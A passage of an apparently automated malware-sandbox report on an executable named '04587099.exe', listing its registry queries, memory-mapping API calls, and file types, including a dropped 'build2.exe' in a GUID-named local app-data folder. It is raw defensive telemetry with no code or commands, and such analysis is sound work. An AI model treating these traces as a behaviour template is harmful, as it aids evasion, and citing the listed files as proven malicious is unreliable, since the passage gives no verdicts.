"SECURETIMEHIGH"; Value: "8FAFA13DBD93D901") "lsass.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\W32TIME\SECURETIMELIMITS"; Key: "SECURETIMEESTIMATED"; Value: "8F47DDDBB493D901") "lsass.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\W32TIME\SECURETIMELIMITS"; Key: "SECURETIMELOW"; Value: "8FDF187AAC93D901") "lsass.exe" (Access type: "CREATE"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\W32TIME\SECURETIMELIMITS\RUNTIME") "lsass.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\W32TIME\SECURETIMELIMITS\RUNTIME"; Key: "SECURETIMETICKCOUNT"; Value: "E30E140000000000") "lsass.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\W32TIME\SECURETIMELIMITS\RUNTIME"; Key: "SECURETIMECONFIDENCE"; Value: "06000000") "lsass.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\W32TIME\SECURETIMELIMITS"; Key: "SECURETIMEHIGH"; Value: "C8DE7C3FBD93D901") "lsass.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\W32TIME\SECURETIMELIMITS"; Key: "SECURETIMEESTIMATED"; Value: "C876B8DDB493D901") "lsass.exe" (Access type: "SETVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\W32TIME\SECURETIMELIMITS"; Key: "SECURETIMELOW"; Value: "C80EF47BAC93D901")6b:Tc85,"04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\04587099.EXE"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "REGISTRATIONENABLED"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "REGISTERADAPTERNAME"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DOMAIN"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E712CB97-6066-4A95-9107-EF68F40F8718}"; Key: "DHCPDOMAIN"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\VMBUS\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\PSCHED\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\PSCHED"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "04587099.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "")6c:T1b10,"04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "356" "processHandle": "4294967295" "baseAddress": "2ba46e0" "zeroBits": "0" "commitSize": "0" "viewSize": "299008" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "364" "processHandle": "4294967295" "baseAddress": "2ba4630" "zeroBits": "0" "commitSize": "0" "viewSize": "491520" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "368" "processHandle": "4294967295" "baseAddress": "2ba4790" "zeroBits": "0" "commitSize": "0" "viewSize": "774144" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "364" "processHandle": "4294967295" "baseAddress": "2ba4b00" "zeroBits": "0" "commitSize": "0" "viewSize": "1011712" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "364" "processHandle": "4294967295" "baseAddress": "2ba4bb0" "zeroBits": "0" "commitSize": "0" "viewSize": "602112" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "372" "processHandle": "4294967295" "baseAddress": "afec08" "zeroBits": "0" "commitSize": "0" "viewSize": "32768" "inheritDisposition": "1" "allocationType": "0" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "376" "processHandle": "4294967295" "baseAddress": "2ba4fd0" "zeroBits": "0" "commitSize": "0" "viewSize": "24576" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "364" "processHandle": "4294967295" "baseAddress": "aff3e0" "zeroBits": "0" "commitSize": "0" "viewSize": "8388608" "inheritDisposition": "2" "allocationType": "0" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "376" "processHandle": "4294967295" "baseAddress": "aff4a0" "zeroBits": "0" "commitSize": "0" "viewSize": "28672" "inheritDisposition": "1" "allocationType": "0" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "380" "processHandle": "4294967295" "baseAddress": "2ba44d0" "zeroBits": "0" "commitSize": "0" "viewSize": "495616" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "384" "processHandle": "4294967295" "baseAddress": "2ba49a0" "zeroBits": "0" "commitSize": "0" "viewSize": "1327104" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "404" "processHandle": "4294967295" "baseAddress": "2ba4840" "zeroBits": "0" "commitSize": "0" "viewSize": "143360" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "584" "processHandle": "4294967295" "baseAddress": "298fda8" "zeroBits": "0" "commitSize": "0" "viewSize": "299008" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "592" "processHandle": "4294967295" "baseAddress": "298fcf8" "zeroBits": "0" "commitSize": "0" "viewSize": "2203648" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "740" "processHandle": "4294967295" "baseAddress": "298ffb8" "zeroBits": "0" "commitSize": "0" "viewSize": "73728" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "748" "processHandle": "4294967295" "baseAddress": "298f2a8" "zeroBits": "0" "commitSize": "0" "viewSize": "708608" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "784" "processHandle": "4294967295" "baseAddress": "298f358" "zeroBits": "0" "commitSize": "0" "viewSize": "348160" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "820" "processHandle": "4294967295" "baseAddress": "2990068" "zeroBits": "0" "commitSize": "0" "viewSize": "140737488355328" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "1036" "processHandle": "4294967295" "baseAddress": "2990328" "zeroBits": "0" "commitSize": "0" "viewSize": "1622016" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "1032" "processHandle": "4294967295" "baseAddress": "298ff08" "zeroBits": "0" "commitSize": "0" "viewSize": "102400" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "1056" "processHandle": "4294967295" "baseAddress": "2990488" "zeroBits": "0" "commitSize": "0" "viewSize": "385024" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "1092" "processHandle": "4294967295" "baseAddress": "298f408" "zeroBits": "0" "commitSize": "0" "viewSize": "140737488355328" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "1100" "processHandle": "4294967295" "baseAddress": "2990538" "zeroBits": "0" "commitSize": "0" "viewSize": "319488" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "1092" "processHandle": "4294967295" "baseAddress": "298f4b8" "zeroBits": "0" "commitSize": "0" "viewSize": "102400" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"} "04587099.exe" called "NtMapViewOfSection" with parameters {"sectionHandle": "1128" "processHandle": "4294967295" "baseAddress": "298f568" "zeroBits": "0" "commitSize": "0" "viewSize": "425984" "inheritDisposition": "1" "allocationType": "8388608" "win32Protect": "4"}6d:T14b65,"MicrosoftEdgeSetup _1_.exe" has type "MS-DOS executable"- [targetUID: N/A] "winresume.exe" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..vironment-os-loader_31bf3856ad364e35_10.0.17134.1_none_40a74689d5d14632\winresume.exe]- [targetUID: 00000000-00005728] "autofmt.exe" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-autofmt_31bf3856ad364e35_10.0.17134.1_none_cb74c93528587dc2\autofmt.exe]- [targetUID: 00000000-00005728] "appwiz.cpl" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-appwiz_31bf3856ad364e35_10.0.17134.1_none_f146c4d490108c2f\appwiz.cpl]- [targetUID: 00000000-00005728] "04587099.exe" has type "MS-DOS executable"- Location: [C:\04587099.exe]- [targetUID: 00000000-00005728] "04587099.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "MicrosoftEdgeSetup.exe.xlzor0p.partial" has type "MS-DOS executable"- Location: [%USERPROFILE%\Downloads\MicrosoftEdgeSetup.exe.xlzor0p.partial]- [targetUID: 00000000-00005728] "securekernel.exe" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-onecore-i..atedusermode-kernel_31bf3856ad364e35_10.0.17134.1_none_cd3cc4edfdce8feb\securekernel.exe]- [targetUID: 00000000-00005728] "build2.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\df8c6a0c-0177-49ac-afd3-6be3e6628609\build2.exe]- [targetUID: 00000000-00006344] "credentialuibroker.exe" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-a..cation-creduibroker_31bf3856ad364e35_10.0.17134.1_none_b03bac357662eb62\credentialuibroker.exe]- [targetUID: 00000000-00005728] "control.exe" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-control_31bf3856ad364e35_10.0.17134.1_none_7eec859513a83a57\control.exe]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_fr-ca_6b6fd7bfd0e9bcf3\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_d2f4c083453bbc41\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_8982abf162204acd\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_es-mx_d279051cd7d32416\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_it-it_5d2183bca3433c4b\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_es-es_d0421776d93f406b\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "axinstui.exe" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-axinstallservice_31bf3856ad364e35_10.0.17134.1_none_bc85db3cda17b041\axinstui.exe]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_ba6a0dbdb07125e9\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_sr-..-rs_5df560f094e2f6ab\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_pt-br_d212f11745cc4c65\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_hr-hr_b935e7f7b133c481\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_lv-lv_47497a037a7521c9\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_sk-sk_b8b2d6f41f373c97\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_8d206f36f21df268\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_da-dk_2a5a4f5de863ee67\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_uk-ua_fa7fe9aa07337d05\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_th-th_5a9cde6f128b1209\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_nb-no_8b4360b360f440f8\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_en-us_d076ba92d9184ec6\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_en-gb_c8edff74ddef9b01\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "cdosys.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_it-it_d276206cf5455c73\cdosys.dll.mui]- [targetUID: 00000000-00005728] "cdosys.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_e84e2a261e1376f5\cdosys.dll.mui]- [targetUID: 00000000-00005728] "cdosys.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_de-de_9cda814a3c3c6329\cdosys.dll.mui]- [targetUID: 00000000-00005728] "cdosys.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_el-gr_4570aedd2b51cbb7\cdosys.dll.mui]- [targetUID: 00000000-00005728] "cdosys.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_pt-br_47678dc797ce6c8d\cdosys.dll.mui]- [targetUID: 00000000-00005728] "cdosys.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_2fbeaa6e02734611\cdosys.dll.mui]- [targetUID: 00000000-00005728] "cdosys.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_48495d33973ddc69\cdosys.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_ff4702c9965e4e26\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "cdosys.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_sv-se_2ae7596c734874f0\cdosys.dll.mui]- [targetUID: 00000000-00005728] "cdosys.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_en-us_45cb57432b1a6eee\cdosys.dll.mui]- [targetUID: 00000000-00005728] "cdosys.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_8eec6ef77c1f6a95\cdosys.dll.mui]- [targetUID: 00000000-00005728] "cdosys.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_da-dk_9faeec0e3a660e8f\cdosys.dll.mui]- [targetUID: 00000000-00005728] "cdosys.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_nb-no_0097fd63b2f66120\cdosys.dll.mui]- [targetUID: 00000000-00005728] "cdosys.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_d3f4a3b3620476e1\cdosys.dll.mui]- [targetUID: 00000000-00005728] "comdlg32.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comdlg32.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_a2b0df7e88cf153c\comdlg32.dll.mui]- [targetUID: 00000000-00005728] "cdosys.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_he-il_2c6dd1c8048277e3\cdosys.dll.mui]- [targetUID: 00000000-00005728] "cdosys.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_18057c2edad13564\cdosys.dll.mui]- [targetUID: 00000000-00005728] "cdosys.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-cdosys.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_a551c1b1123c4900\cdosys.dll.mui]- [targetUID: 00000000-00005728] "credwiz.exe" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-credwiz_31bf3856ad364e35_10.0.17134.1_none_855b3d02d4ff8472\credwiz.exe]- [targetUID: 00000000-00005728] "activesyncprovider.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..cprovider.resources_31bf3856ad364e35_10.0.17134.1_en-us_c9ea7416cbafbccb\activesyncprovider.dll.mui]- [targetUID: 00000000-00005728] "activesyncprovider.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..cprovider.resources_31bf3856ad364e35_10.0.17134.1_en-us_bf95c9c4974efad0\activesyncprovider.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_091d29ea23fddccc\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_gd-gb_4897be7c0d6eef46\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ta-in_a0e8759e8faa42e9\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_1371d43c585e9ec7\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ta-in_9693cb4c5b4980ee\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_gd-gb_52ec68ce41cfb141\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_de-de_6086fc5734e8743e\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_de-de_6adba6a969493639\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lb-lu_80b14902c4ca1fab\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_lb-lu_8b05f354f92ae1a6\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_b64f4f854b204a05\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fr-ca_aec599cf4ff8b02b\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_abfaa53316bf880a\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fr-ca_a470ef7d1b97ee30\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_quc..-gt_2a57c6783ce9c022\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_fil-ph_56eddd3f9285b184\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_or-in_6644a8739efdc9d2\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_ml-in_2a9daa3bee0ba9b5\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: 